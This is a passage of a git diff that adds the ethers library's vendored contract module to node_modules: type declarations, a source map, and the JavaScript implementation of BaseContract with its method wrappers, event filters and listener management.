ContractRunner } from "../providers/index.js"; +import type { ContractEventName, ContractInterface, ContractMethod, ContractEvent, ContractTransaction, WrappedFallback } from "./types.js"; +/** + * @_ignore: + */ +export declare function copyOverrides(arg: any, allowed?: Array): Promise>; +/** + * @_ignore: + */ +export declare function resolveArgs(_runner: null | ContractRunner, inputs: ReadonlyArray, args: Array): Promise>; +declare const internal: unique symbol; +export declare class BaseContract implements Addressable, EventEmitterable { + /** + * The target to connect to. + * + * This can be an address, ENS name or any [[Addressable]], such as + * another contract. To get the resovled address, use the ``getAddress`` + * method. + */ + readonly target: string | Addressable; + /** + * The contract Interface. + */ + readonly interface: Interface; + /** + * The connected runner. This is generally a [[Provider]] or a + * [[Signer]], which dictates what operations are supported. + * + * For example, a **Contract** connected to a [[Provider]] may + * only execute read-only operations. + */ + readonly runner: null | ContractRunner; + /** + * All the Events available on this contract. + */ + readonly filters: Record; + /** + * @_ignore: + */ + readonly [internal]: any; + /** + * The fallback or receive function if any. + */ + readonly fallback: null | WrappedFallback; + /** + * Creates a new contract connected to %%target%% with the %%abi%% and + * optionally connected to a %%runner%% to perform operations on behalf + * of. + */ + constructor(target: string | Addressable, abi: Interface | InterfaceAbi, runner?: null | ContractRunner, _deployTx?: null | TransactionResponse); + /** + * Return a new Contract instance with the same target and ABI, but + * a different %%runner%%. + */ + connect(runner: null | ContractRunner): BaseContract; + /** + * Return a new Contract instance with the same ABI and runner, but + * a different %%target%%. + */ + attach(target: string | Addressable): BaseContract; + /** + * Return the resolved address of this Contract. + */ + getAddress(): Promise; + /** + * Return the deployed bytecode or null if no bytecode is found. + */ + getDeployedCode(): Promise; + /** + * Resolve to this Contract once the bytecode has been deployed, or + * resolve immediately if already deployed. + */ + waitForDeployment(): Promise; + /** + * Return the transaction used to deploy this contract. + * + * This is only available if this instance was returned from a + * [[ContractFactory]]. + */ + deploymentTransaction(): null | ContractTransactionResponse; + /** + * Return the function for a given name. This is useful when a contract + * method name conflicts with a JavaScript name such as ``prototype`` or + * when using a Contract programatically. + */ + getFunction(key: string | FunctionFragment): T; + /** + * Return the event for a given name. This is useful when a contract + * event name conflicts with a JavaScript name such as ``prototype`` or + * when using a Contract programatically. + */ + getEvent(key: string | EventFragment): ContractEvent; + /** + * @_ignore: + */ + queryTransaction(hash: string): Promise>; + /** + * Provide historic access to event data for %%event%% in the range + * %%fromBlock%% (default: ``0``) to %%toBlock%% (default: ``"latest"``) + * inclusive. + */ + queryFilter(event: ContractEventName, fromBlock?: BlockTag, toBlock?: BlockTag): Promise>; + /** + * Add an event %%listener%% for the %%event%%. + */ + on(event: ContractEventName, listener: Listener): Promise; + /** + * Add an event %%listener%% for the %%event%%, but remove the listener + * after it is fired once. + */ + once(event: ContractEventName, listener: Listener): Promise; + /** + * Emit an %%event%% calling all listeners with %%args%%. + * + * Resolves to ``true`` if any listeners were called. + */ + emit(event: ContractEventName, ...args: Array): Promise; + /** + * Resolves to the number of listeners of %%event%% or the total number + * of listeners if unspecified. + */ + listenerCount(event?: ContractEventName): Promise; + /** + * Resolves to the listeners subscribed to %%event%% or all listeners + * if unspecified. + */ + listeners(event?: ContractEventName): Promise>; + /** + * Remove the %%listener%% from the listeners for %%event%% or remove + * all listeners if unspecified. + */ + off(event: ContractEventName, listener?: Listener): Promise; + /** + * Remove all the listeners for %%event%% or remove all listeners if + * unspecified. + */ + removeAllListeners(event?: ContractEventName): Promise; + /** + * Alias for [on]. + */ + addListener(event: ContractEventName, listener: Listener): Promise; + /** + * Alias for [off]. + */ + removeListener(event: ContractEventName, listener: Listener): Promise; + /** + * Create a new Class for the %%abi%%. + */ + static buildClass(abi: Interface | InterfaceAbi): new (target: string, runner?: null | ContractRunner) => BaseContract & Omit; + /** + * Create a new BaseContract with a specified Interface. + */ + static from(target: string, abi: Interface | InterfaceAbi, runner?: null | ContractRunner): BaseContract & Omit; +} +declare const Contract_base: new (target: string | Addressable, abi: Interface | InterfaceAbi, runner?: ContractRunner | null | undefined) => BaseContract & Omit; +/** + * A [[BaseContract]] with no type guards on its methods or events. + */ +export declare class Contract extends Contract_base { +} +export {}; +//# sourceMappingURL=contract.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/contract.d.ts.map b/node_modules/ethers/lib.esm/contract/contract.d.ts.map new file mode 100644 index 000000000000..57f47f54c019 --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/contract.d.ts.map @@ -0,0 +1 @@ +{"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AAC,GAAG,iBAAiB,EAAE,GAAG,EAAE,SAAS,GAAG,YAAY,GAAG,KAAK,MAAM,EAAE,MAAM,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,cAAc,KAAK,YAAY,GAAG,IAAI,CAAC,CAAC,EAAE,MAAM,YAAY,CAAC;IAS3K;;OAEG;IACH,MAAM,CAAC,IAAI,CAAC,CAAC,GAAG,iBAAiB,EAAE,MAAM,EAAE,MAAM,EAAE,GAAG,EAAE,SAAS,GAAG,YAAY,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,cAAc,GAAG,YAAY,GAAG,IAAI,CAAC,CAAC,EAAE,MAAM,YAAY,CAAC;CAKhK;;AAMD;;GAEG;AACH,qBAAa,QAAS,SAAQ,aAAe;CAAI"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/contract.js b/node_modules/ethers/lib.esm/contract/contract.js new file mode 100644 index 000000000000..1f356513218e --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/contract.js @@ -0,0 +1,953 @@ +import { Interface, Typed } from "../abi/index.js"; +import { isAddressable, resolveAddress } from "../address/index.js"; +// import from provider.ts instead of index.ts to prevent circular dep +// from EtherscanProvider +import { copyRequest, Log } from "../providers/provider.js"; +import { defineProperties, getBigInt, isCallException, isHexString, resolveProperties, isError, makeError, assert, assertArgument } from "../utils/index.js"; +import { ContractEventPayload, ContractUnknownEventPayload, ContractTransactionResponse, EventLog, UndecodedEventLog } from "./wrappers.js"; +const BN_0 = BigInt(0); +function canCall(value) { + return (value && typeof (value.call) === "function"); +} +function canEstimate(value) { + return (value && typeof (value.estimateGas) === "function"); +} +function canResolve(value) { + return (value && typeof (value.resolveName) === "function"); +} +function canSend(value) { + return (value && typeof (value.sendTransaction) === "function"); +} +function getResolver(value) { + if (value != null) { + if (canResolve(value)) { + return value; + } + if (value.provider) { + return value.provider; + } + } + return undefined; +} +class PreparedTopicFilter { + #filter; + fragment; + constructor(contract, fragment, args) { + defineProperties(this, { fragment }); + if (fragment.inputs.length < args.length) { + throw new Error("too many arguments"); + } + // Recursively descend into args and resolve any addresses + const runner = getRunner(contract.runner, "resolveName"); + const resolver = canResolve(runner) ? runner : null; + this.#filter = (async function () { + const resolvedArgs = await Promise.all(fragment.inputs.map((param, index) => { + const arg = args[index]; + if (arg == null) { + return null; + } + return param.walkAsync(args[index], (type, value) => { + if (type === "address") { + if (Array.isArray(value)) { + return Promise.all(value.map((v) => resolveAddress(v, resolver))); + } + return resolveAddress(value, resolver); + } + return value; + }); + })); + return contract.interface.encodeFilterTopics(fragment, resolvedArgs); + })(); + } + getTopicFilter() { + return this.#filter; + } +} +// A = Arguments passed in as a tuple +// R = The result type of the call (i.e. if only one return type, +// the qualified type, otherwise Result) +// D = The type the default call will return (i.e. R for view/pure, +// TransactionResponse otherwise) +//export interface ContractMethod = Array, R = any, D extends R | ContractTransactionResponse = ContractTransactionResponse> { +function getRunner(value, feature) { + if (value == null) { + return null; + } + if (typeof (value[feature]) === "function") { + return value; + } + if (value.provider && typeof (value.provider[feature]) === "function") { + return value.provider; + } + return null; +} +function getProvider(value) { + if (value == null) { + return null; + } + return value.provider || null; +} +/** + * @_ignore: + */ +export async function copyOverrides(arg, allowed) { + // Make sure the overrides passed in are a valid overrides object + const _overrides = Typed.dereference(arg, "overrides"); + assertArgument(typeof (_overrides) === "object", "invalid overrides parameter", "overrides", arg); + // Create a shallow copy (we'll deep-ify anything needed during normalizing) + const overrides = copyRequest(_overrides); + assertArgument(overrides.to == null || (allowed || []).indexOf("to") >= 0, "cannot override to", "overrides.to", overrides.to); + assertArgument(overrides.data == null || (allowed || []).indexOf("data") >= 0, "cannot override data", "overrides.data", overrides.data); + // Resolve any from + if (overrides.from) { + overrides.from = overrides.from; + } + return overrides; +} +/** + * @_ignore: + */ +export async function resolveArgs(_runner, inputs, args) { + // Recursively descend into args and resolve any addresses + const runner = getRunner(_runner, "resolveName"); + const resolver = canResolve(runner) ? runner : null; + return await Promise.all(inputs.map((param, index) => { + return param.walkAsync(args[index], (type, value) => { + value = Typed.dereference(value, type); + if (type === "address") { + return resolveAddress(value, resolver); + } + return value; + }); + })); +} +function buildWrappedFallback(contract) { + const populateTransaction = async function (overrides) { + // If an overrides was passed in, copy it and normalize the values + const tx = (await copyOverrides(overrides, ["data"])); + tx.to = await contract.getAddress(); + if (tx.from) { + tx.from = await resolveAddress(tx.from, getResolver(contract.runner)); + } + const iface = contract.interface; + const noValue = (getBigInt((tx.value || BN_0), "overrides.value") === BN_0); + const noData = ((tx.data || "0x") === "0x"); + if (iface.fallback && !iface.fallback.payable && iface.receive && !noData && !noValue) { + assertArgument(false, "cannot send data to receive or send value to non-payable fallback", "overrides", overrides); + } + assertArgument(iface.fallback || noData, "cannot send data to receive-only contract", "overrides.data", tx.data); + // Only allow payable contracts to set non-zero value + const payable = iface.receive || (iface.fallback && iface.fallback.payable); + assertArgument(payable || noValue, "cannot send value to non-payable fallback", "overrides.value", tx.value); + // Only allow fallback contracts to set non-empty data + assertArgument(iface.fallback || noData, "cannot send data to receive-only contract", "overrides.data", tx.data); + return tx; + }; + const staticCall = async function (overrides) { + const runner = getRunner(contract.runner, "call"); + assert(canCall(runner), "contract runner does not support calling", "UNSUPPORTED_OPERATION", { operation: "call" }); + const tx = await populateTransaction(overrides); + try { + return await runner.call(tx); + } + catch (error) { + if (isCallException(error) && error.data) { + throw contract.interface.makeError(error.data, tx); + } + throw error; + } + }; + const send = async function (overrides) { + const runner = contract.runner; + assert(canSend(runner), "contract runner does not support sending transactions", "UNSUPPORTED_OPERATION", { operation: "sendTransaction" }); + const tx = await runner.sendTransaction(await populateTransaction(overrides)); + const provider = getProvider(contract.runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + return new ContractTransactionResponse(contract.interface, provider, tx); + }; + const estimateGas = async function (overrides) { + const runner = getRunner(contract.runner, "estimateGas"); + assert(canEstimate(runner), "contract runner does not support gas estimation", "UNSUPPORTED_OPERATION", { operation: "estimateGas" }); + return await runner.estimateGas(await populateTransaction(overrides)); + }; + const method = async (overrides) => { + return await send(overrides); + }; + defineProperties(method, { + _contract: contract, + estimateGas, + populateTransaction, + send, staticCall + }); + return method; +} +function buildWrappedMethod(contract, key) { + const getFragment = function (...args) { + const fragment = contract.interface.getFunction(key, args); + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key, args } + }); + return fragment; + }; + const populateTransaction = async function (...args) { + const fragment = getFragment(...args); + // If an overrides was passed in, copy it and normalize the values + let overrides = {}; + if (fragment.inputs.length + 1 === args.length) { + overrides = await copyOverrides(args.pop()); + if (overrides.from) { + overrides.from = await resolveAddress(overrides.from, getResolver(contract.runner)); + } + } + if (fragment.inputs.length !== args.length) { + throw new Error("internal error: fragment inputs doesn't match arguments; should not happen"); + } + const resolvedArgs = await resolveArgs(contract.runner, fragment.inputs, args); + return Object.assign({}, overrides, await resolveProperties({ + to: contract.getAddress(), + data: contract.interface.encodeFunctionData(fragment, resolvedArgs) + })); + }; + const staticCall = async function (...args) { + const result = await staticCallResult(...args); + if (result.length === 1) { + return result[0]; + } + return result; + }; + const send = async function (...args) { + const runner = contract.runner; + assert(canSend(runner), "contract runner does not support sending transactions", "UNSUPPORTED_OPERATION", { operation: "sendTransaction" }); + const tx = await runner.sendTransaction(await populateTransaction(...args)); + const provider = getProvider(contract.runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + return new ContractTransactionResponse(contract.interface, provider, tx); + }; + const estimateGas = async function (...args) { + const runner = getRunner(contract.runner, "estimateGas"); + assert(canEstimate(runner), "contract runner does not support gas estimation", "UNSUPPORTED_OPERATION", { operation: "estimateGas" }); + return await runner.estimateGas(await populateTransaction(...args)); + }; + const staticCallResult = async function (...args) { + const runner = getRunner(contract.runner, "call"); + assert(canCall(runner), "contract runner does not support calling", "UNSUPPORTED_OPERATION", { operation: "call" }); + const tx = await populateTransaction(...args); + let result = "0x"; + try { + result = await runner.call(tx); + } + catch (error) { + if (isCallException(error) && error.data) { + throw contract.interface.makeError(error.data, tx); + } + throw error; + } + const fragment = getFragment(...args); + return contract.interface.decodeFunctionResult(fragment, result); + }; + const method = async (...args) => { + const fragment = getFragment(...args); + if (fragment.constant) { + return await staticCall(...args); + } + return await send(...args); + }; + defineProperties(method, { + name: contract.interface.getFunctionName(key), + _contract: contract, _key: key, + getFragment, + estimateGas, + populateTransaction, + send, staticCall, staticCallResult, + }); + // Only works on non-ambiguous keys (refined fragment is always non-ambiguous) + Object.defineProperty(method, "fragment", { + configurable: false, + enumerable: true, + get: () => { + const fragment = contract.interface.getFunction(key); + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key } + }); + return fragment; + } + }); + return method; +} +function buildWrappedEvent(contract, key) { + const getFragment = function (...args) { + const fragment = contract.interface.getEvent(key, args); + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key, args } + }); + return fragment; + }; + const method = function (...args) { + return new PreparedTopicFilter(contract, getFragment(...args), args); + }; + defineProperties(method, { + name: contract.interface.getEventName(key), + _contract: contract, _key: key, + getFragment + }); + // Only works on non-ambiguous keys (refined fragment is always non-ambiguous) + Object.defineProperty(method, "fragment", { + configurable: false, + enumerable: true, + get: () => { + const fragment = contract.interface.getEvent(key); + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key } + }); + return fragment; + } + }); + return method; +} +// The combination of TypeScrype, Private Fields and Proxies makes +// the world go boom; so we hide variables with some trickery keeping +// a symbol attached to each BaseContract which its sub-class (even +// via a Proxy) can reach and use to look up its internal values. +const internal = Symbol.for("_ethersInternal_contract"); +const internalValues = new WeakMap(); +function setInternal(contract, values) { + internalValues.set(contract[internal], values); +} +function getInternal(contract) { + return internalValues.get(contract[internal]); +} +function isDeferred(value) { + return (value && typeof (value) === "object" && ("getTopicFilter" in value) && + (typeof (value.getTopicFilter) === "function") && value.fragment); +} +async function getSubInfo(contract, event) { + let topics; + let fragment = null; + // Convert named events to topicHash and get the fragment for + // events which need deconstructing. + if (Array.isArray(event)) { + const topicHashify = function (name) { + if (isHexString(name, 32)) { + return name; + } + const fragment = contract.interface.getEvent(name); + assertArgument(fragment, "unknown fragment", "name", name); + return fragment.topicHash; + }; + // Array of Topics and Names; e.g. `[ "0x1234...89ab", "Transfer(address)" ]` + topics = event.map((e) => { + if (e == null) { + return null; + } + if (Array.isArray(e)) { + return e.map(topicHashify); + } + return topicHashify(e); + }); + } + else if (event === "*") { + topics = [null]; + } + else if (typeof (event) === "string") { + if (isHexString(event, 32)) { + // Topic Hash + topics = [event]; + } + else { + // Name or Signature; e.g. `"Transfer", `"Transfer(address)"` + fragment = contract.interface.getEvent(event); + assertArgument(fragment, "unknown fragment", "event", event); + topics = [fragment.topicHash]; + } + } + else if (isDeferred(event)) { + // Deferred Topic Filter; e.g. `contract.filter.Transfer(from)` + topics = await event.getTopicFilter(); + } + else if ("fragment" in event) { + // ContractEvent; e.g. `contract.filter.Transfer` + fragment = event.fragment; + topics = [fragment.topicHash]; + } + else { + assertArgument(false, "unknown event name", "event", event); + } + // Normalize topics and sort TopicSets + topics = topics.map((t) => { + if (t == null) { + return null; + } + if (Array.isArray(t)) { + const items = Array.from(new Set(t.map((t) => t.toLowerCase())).values()); + if (items.length === 1) { + return items[0]; + } + items.sort(); + return items; + } + return t.toLowerCase(); + }); + const tag = topics.map((t) => { + if (t == null) { + return "null"; + } + if (Array.isArray(t)) { + return t.join("|"); + } + return t; + }).join("&"); + return { fragment, tag, topics }; +} +async function hasSub(contract, event) { + const { subs } = getInternal(contract); + return subs.get((await getSubInfo(contract, event)).tag) || null; +} +async function getSub(contract, operation, event) { + // Make sure our runner can actually subscribe to events + const provider = getProvider(contract.runner); + assert(provider, "contract runner does not support subscribing", "UNSUPPORTED_OPERATION", { operation }); + const { fragment, tag, topics } = await getSubInfo(contract, event); + const { addr, subs } = getInternal(contract); + let sub = subs.get(tag); + if (!sub) { + const address = (addr ? addr : contract); + const filter = { address, topics }; + const listener = (log) => { + let foundFragment = fragment; + if (foundFragment == null) { + try { + foundFragment = contract.interface.getEvent(log.topics[0]); + } + catch (error) { } + } + // If fragment is null, we do not deconstruct the args to emit + if (foundFragment) { + const _foundFragment = foundFragment; + const args = fragment ? contract.interface.decodeEventLog(fragment, log.data, log.topics) : []; + emit(contract, event, args, (listener) => { + return new ContractEventPayload(contract, listener, event, _foundFragment, log); + }); + } + else { + emit(contract, event, [], (listener) => { + return new ContractUnknownEventPayload(contract, listener, event, log); + }); + } + }; + let starting = []; + const start = () => { + if (starting.length) { + return; + } + starting.push(provider.on(filter, listener)); + }; + const stop = async () => { + if (starting.length == 0) { + return; + } + let started = starting; + starting = []; + await Promise.all(started); + provider.off(filter, listener); + }; + sub = { tag, listeners: [], start, stop }; + subs.set(tag, sub); + } + return sub; +} +// We use this to ensure one emit resolves before firing the next to +// ensure correct ordering (note this cannot throw and just adds the +// notice to the event queu using setTimeout). +let lastEmit = Promise.resolve(); +async function _emit(contract, event, args, payloadFunc) { + await lastEmit; + const sub = await hasSub(contract, event); + if (!sub) { + return false; + } + const count = sub.listeners.length; + sub.listeners = sub.listeners.filter(({ listener, once }) => { + const passArgs = Array.from(args); + if (payloadFunc) { + passArgs.push(payloadFunc(once ? null : listener)); + } + try { + listener.call(contract, ...passArgs); + } + catch (error) { } + return !once; + }); + if (sub.listeners.length === 0) { + sub.stop(); + getInternal(contract).subs.delete(sub.tag); + } + return (count > 0); +} +async function emit(contract, event, args, payloadFunc) { + try { + await lastEmit; + } + catch (error) { } + const resultPromise = _emit(contract, event, args, payloadFunc); + lastEmit = resultPromise; + return await resultPromise; +} +const passProperties = ["then"]; +export class BaseContract { + /** + * The target to connect to. + * + * This can be an address, ENS name or any [[Addressable]], such as + * another contract. To get the resovled address, use the ``getAddress`` + * method. + */ + target; + /** + * The contract Interface. + */ + interface; + /** + * The connected runner. This is generally a [[Provider]] or a + * [[Signer]], which dictates what operations are supported. + * + * For example, a **Contract** connected to a [[Provider]] may + * only execute read-only operations. + */ + runner; + /** + * All the Events available on this contract. + */ + filters; + /** + * @_ignore: + */ + [internal]; + /** + * The fallback or receive function if any. + */ + fallback; + /** + * Creates a new contract connected to %%target%% with the %%abi%% and + * optionally connected to a %%runner%% to perform operations on behalf + * of. + */ + constructor(target, abi, runner, _deployTx) { + assertArgument(typeof (target) === "string" || isAddressable(target), "invalid value for Contract target", "target", target); + if (runner == null) { + runner = null; + } + const iface = Interface.from(abi); + defineProperties(this, { target, runner, interface: iface }); + Object.defineProperty(this, internal, { value: {} }); + let addrPromise; + let addr = null; + let deployTx = null; + if (_deployTx) { + const provider = getProvider(runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + deployTx = new ContractTransactionResponse(this.interface, provider, _deployTx); + } + let subs = new Map(); + // Resolve the target as the address + if (typeof (target) === "string") { + if (isHexString(target)) { + addr = target; + addrPromise = Promise.resolve(target); + } + else { + const resolver = getRunner(runner, "resolveName"); + if (!canResolve(resolver)) { + throw makeError("contract runner does not support name resolution", "UNSUPPORTED_OPERATION", { + operation: "resolveName" + }); + } + addrPromise = resolver.resolveName(target).then((addr) => { + if (addr == null) { + throw makeError("an ENS name used for a contract target must be correctly configured", "UNCONFIGURED_NAME", { + value: target + }); + } + getInternal(this).addr = addr; + return addr; + }); + } + } + else { + addrPromise = target.getAddress().then((addr) => { + if (addr == null) { + throw new Error("TODO"); + } + getInternal(this).addr = addr; + return addr; + }); + } + // Set our private values + setInternal(this, { addrPromise, addr, deployTx, subs }); + // Add the event filters + const filters = new Proxy({}, { + get: (target, prop, receiver) => { + // Pass important checks (like `then` for Promise) through + if (typeof (prop) === "symbol" || passProperties.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + try { + return this.getEvent(prop); + } + catch (error) { + if (!isError(error, "INVALID_ARGUMENT") || error.argument !== "key") { + throw error; + } + } + return undefined; + }, + has: (target, prop) => { + // Pass important checks (like `then` for Promise) through + if (passProperties.indexOf(prop) >= 0) { + return Reflect.has(target, prop); + } + return Reflect.has(target, prop) || this.interface.hasEvent(String(prop)); + } + }); + defineProperties(this, { filters }); + defineProperties(this, { + fallback: ((iface.receive || iface.fallback) ? (buildWrappedFallback(this)) : null) + }); + // Return a Proxy that will respond to functions + return new Proxy(this, { + get: (target, prop, receiver) => { + if (typeof (prop) === "symbol" || prop in target || passProperties.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + // Undefined properties should return undefined + try { + return target.getFunction(prop); + } + catch (error) { + if (!isError(error, "INVALID_ARGUMENT") || error.argument !== "key") { + throw error; + } + } + return undefined; + }, + has: (target, prop) => { + if (typeof (prop) === "symbol" || prop in target || passProperties.indexOf(prop) >= 0) { + return Reflect.has(target, prop); + } + return target.interface.hasFunction(prop); + } + }); + } + /** + * Return a new Contract instance with the same target and ABI, but + * a different %%runner%%. + */ + connect(runner) { + return new BaseContract(this.target, this.interface, runner); + } + /** + * Return a new Contract instance with the same ABI and runner, but + * a different %%target%%. + */ + attach(target) { + return new BaseContract(target, this.interface, this.runner); + } + /** + * Return the resolved address of this Contract. + */ + async getAddress() { return await getInternal(this).addrPromise; } + /** + * Return the deployed bytecode or null if no bytecode is found. + */ + async getDeployedCode() { + const provider = getProvider(this.runner); + assert(provider, "runner does not support .provider", "UNSUPPORTED_OPERATION", { operation: "getDeployedCode" }); + const code = await provider.getCode(await this.getAddress()); + if (code === "0x") { + return null; + } + return code; + } + /** + * Resolve to this Contract once the bytecode has been deployed, or + * resolve immediately if already deployed. + */ + async waitForDeployment() { + // We have the deployement transaction; just use that (throws if deployement fails) + const deployTx = this.deploymentTransaction(); + if (deployTx) { + await deployTx.wait(); + return this; + } + // Check for code + const code = await this.getDeployedCode(); + if (code != null) { + return this; + } + // Make sure we can subscribe to a provider event + const provider = getProvider(this.runner); + assert(provider != null, "contract runner does not support .provider", "UNSUPPORTED_OPERATION", { operation: "waitForDeployment" }); + return new Promise((resolve, reject) => { + const checkCode = async () => { + try { + const code = await this.getDeployedCode(); + if (code != null) { + return resolve(this); + } + provider.once("block", checkCode); + } + catch (error) { + reject(error); + } + }; + checkCode(); + }); + } + /** + * Return the transaction used to deploy this contract. + * + * This is only available if this instance was returned from a + * [[ContractFactory]]. + */ + deploymentTransaction() { + return getInternal(this).deployTx; + } + /** + * Return the function for a given name. This is useful when a contract + * method name conflicts with a JavaScript name such as ``prototype`` or + * when using a Contract programatically. + */ + getFunction(key) { + if (typeof (key) !== "string") { + key = key.format(); + } + const func = buildWrappedMethod(this, key); + return func; + } + /** + * Return the event for a given name. This is useful when a contract + * event name conflicts with a JavaScript name such as ``prototype`` or + * when using a Contract programatically. + */ + getEvent(key) { + if (typeof (key) !== "string") { + key = key.format(); + } + return buildWrappedEvent(this, key); + } + /** + * @_ignore: + */ + async queryTransaction(hash) { + throw new Error("@TODO"); + } + /* + // @TODO: this is a non-backwards compatible change, but will be added + // in v7 and in a potential SmartContract class in an upcoming + // v6 release + async getTransactionReceipt(hash: string): Promise { + const provider = getProvider(this.runner); + assert(provider, "contract runner does not have a provider", + "UNSUPPORTED_OPERATION", { operation: "queryTransaction" }); + + const receipt = await provider.getTransactionReceipt(hash); + if (receipt == null) { return null; } + + return new ContractTransactionReceipt(this.interface, provider, receipt); + } + */ + /** + * Provide historic access to event data for %%event%% in the range + * %%fromBlock%% (default: ``0``) to %%toBlock%% (default: ``"latest"``) + * inclusive. + */ + async queryFilter(event, fromBlock, toBlock) { + if (fromBlock == null) { + fromBlock = 0; + } + if (toBlock == null) { + toBlock = "latest"; + } + const { addr, addrPromise } = getInternal(this); + const address = (addr ? addr : (await addrPromise)); + const { fragment, topics } = await getSubInfo(this, event); + const filter = { address, topics, fromBlock, toBlock }; + const provider = getProvider(this.runner); + assert(provider, "contract runner does not have a provider", "UNSUPPORTED_OPERATION", { operation: "queryFilter" }); + return (await provider.getLogs(filter)).map((log) => { + let foundFragment = fragment; + if (foundFragment == null) { + try { + foundFragment = this.interface.getEvent(log.topics[0]); + } + catch (error) { } + } + if (foundFragment) { + try { + return new EventLog(log, this.interface, foundFragment); + } + catch (error) { + return new UndecodedEventLog(log, error); + } + } + return new Log(log, provider); + }); + } + /** + * Add an event %%listener%% for the %%event%%. + */ + async on(event, listener) { + const sub = await getSub(this, "on", event); + sub.listeners.push({ listener, once: false }); + sub.start(); + return this; + } + /** + * Add an event %%listener%% for the %%event%%, but remove the listener + * after it is fired once. + */ + async once(event, listener) { + const sub = await getSub(this, "once", event); + sub.listeners.push({ listener, once: true }); + sub.start(); + return this; + } + /** + * Emit an %%event%% calling all listeners with %%args%%. + * + * Resolves to ``true`` if any listeners were called. + */ + async emit(event, ...args) { + return await emit(this, event, args, null); + } + /** + * Resolves to the number of listeners of %%event%% or the total number + * of listeners if unspecified. + */ + async listenerCount(event) { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { + return 0; + } + return sub.listeners.length; + } + const { subs } = getInternal(this); + let total = 0; + for (const { listeners } of subs.values()) { + total += listeners.length; + } + return total; + } + /** + * Resolves to the listeners subscribed to %%event%% or all listeners + * if unspecified. + */ + async listeners(event) { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { + return []; + } + return sub.listeners.map(({ listener }) => listener); + } + const { subs } = getInternal(this); + let result = []; + for (const { listeners } of subs.values()) { + result = result.concat(listeners.map(({ listener }) => listener)); + } + return result; + } + /** + * Remove the %%listener%% from the listeners for %%event%% or remove + * all listeners if unspecified. + */ + async off(event, listener) { + const sub = await hasSub(this, event); + if (!sub) { + return this; + } + if (listener) { + const index = sub.listeners.map(({ listener }) => listener).indexOf(listener); + if (index >= 0) { + sub.listeners.splice(index, 1); + } + } + if (listener == null || sub.listeners.length === 0) { + sub.stop(); + getInternal(this).subs.delete(sub.tag); + } + return this; + } + /** + * Remove all the listeners for %%event%% or remove all listeners if + * unspecified. + */ + async removeAllListeners(event) { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { + return this; + } + sub.stop(); + getInternal(this).subs.delete(sub.tag); + } + else { + const { subs } = getInternal(this); + for (const { tag, stop } of subs.values()) { + stop(); + subs.delete(tag); + } + } + return this; + } + /** + * Alias for [on]. + */ + async addListener(event, listener) { + return await this.on(event, listener); + } + /** + * Alias for [off]. + */ + async removeListener(event, listener) { + return await this.off(event, listener); + } + /** + * Create a new Class for the %%abi%%. + */ + static buildClass(abi) { + class CustomContract extends BaseContract { + constructor(address, runner = null) { + super(address, abi, runner); + } + } + return CustomContract; + } + ; + /** + * Create a new BaseContract with a specified Interface. + */ + static from(target, abi, runner) { + if (runner == null) { + runner = null; + } + const contract = new this(target, abi, runner); + return contract; + } +} +function _ContractBase() { + return BaseContract; +} +/** + * A [[BaseContract]] with no type guards on its methods or events. + */ +export class Contract extends _ContractBase() { +} +//# sourceMappingURL=contract.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/contract/contract.js.map b/node_modules/ethers/lib.esm/contract/contract.js.map new file mode 100644 index 000000000000..a2845b91b3d1 --- /dev/null +++ b/node_modules/ethers/lib.esm/contract/contract.js.map @@ -0,0 +1 @@ 